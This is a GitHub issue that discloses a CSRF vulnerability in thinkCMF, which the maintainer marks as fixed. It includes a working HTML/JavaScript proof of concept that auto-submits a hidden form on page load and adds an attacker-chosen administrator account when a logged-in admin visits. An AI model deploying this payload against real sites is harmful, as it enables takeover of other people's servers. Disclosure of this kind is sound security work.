Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

I found a CSRF vulnerability that can add the administrator account #580

Open
yundiao opened this issue Mar 25, 2019 · 1 comment
Open
Labels

Comments

@yundiao
Copy link

yundiao commented Mar 25, 2019

After the administrator loged in, open the page containing the following code. An administrator account will be added automatically.
(please replace "http://tp.im" in "url" with the domain name you set.)

<html><body>
<script type="text/javascript">
function post(url, fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;
fields += " <input type=\"hidden\" name=\"user&#95;login\" value=\"CSRFadministrator\" />";
fields += " <input type=\"hidden\" name=\"user&#95;pass\" value=\"admin1234\" />";
fields += " <input type=\"hidden\" name=\"user&#95;email\" value=\"456&#64;bing&#46;com\" />";
fields += " <input type=\"hidden\" name=\"role&#95;id&#91;&#93;\" value=\"1\" />";

var url = "http://tp.im/admin/user/addpost.html";
post(url, fields);
}
window.onload = function(){csrf_hack();}
</script>
</body></html>

thinkCMF-CSRF

@yundiao yundiao changed the title I found a CSRF vulnerability to add an administrator I found a CSRF vulnerability that can add the administrator account Mar 25, 2019
@thinkcmf thinkcmf added the bug label Mar 25, 2019
@thinkcmf
Copy link
Owner

已经修复

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

2 participants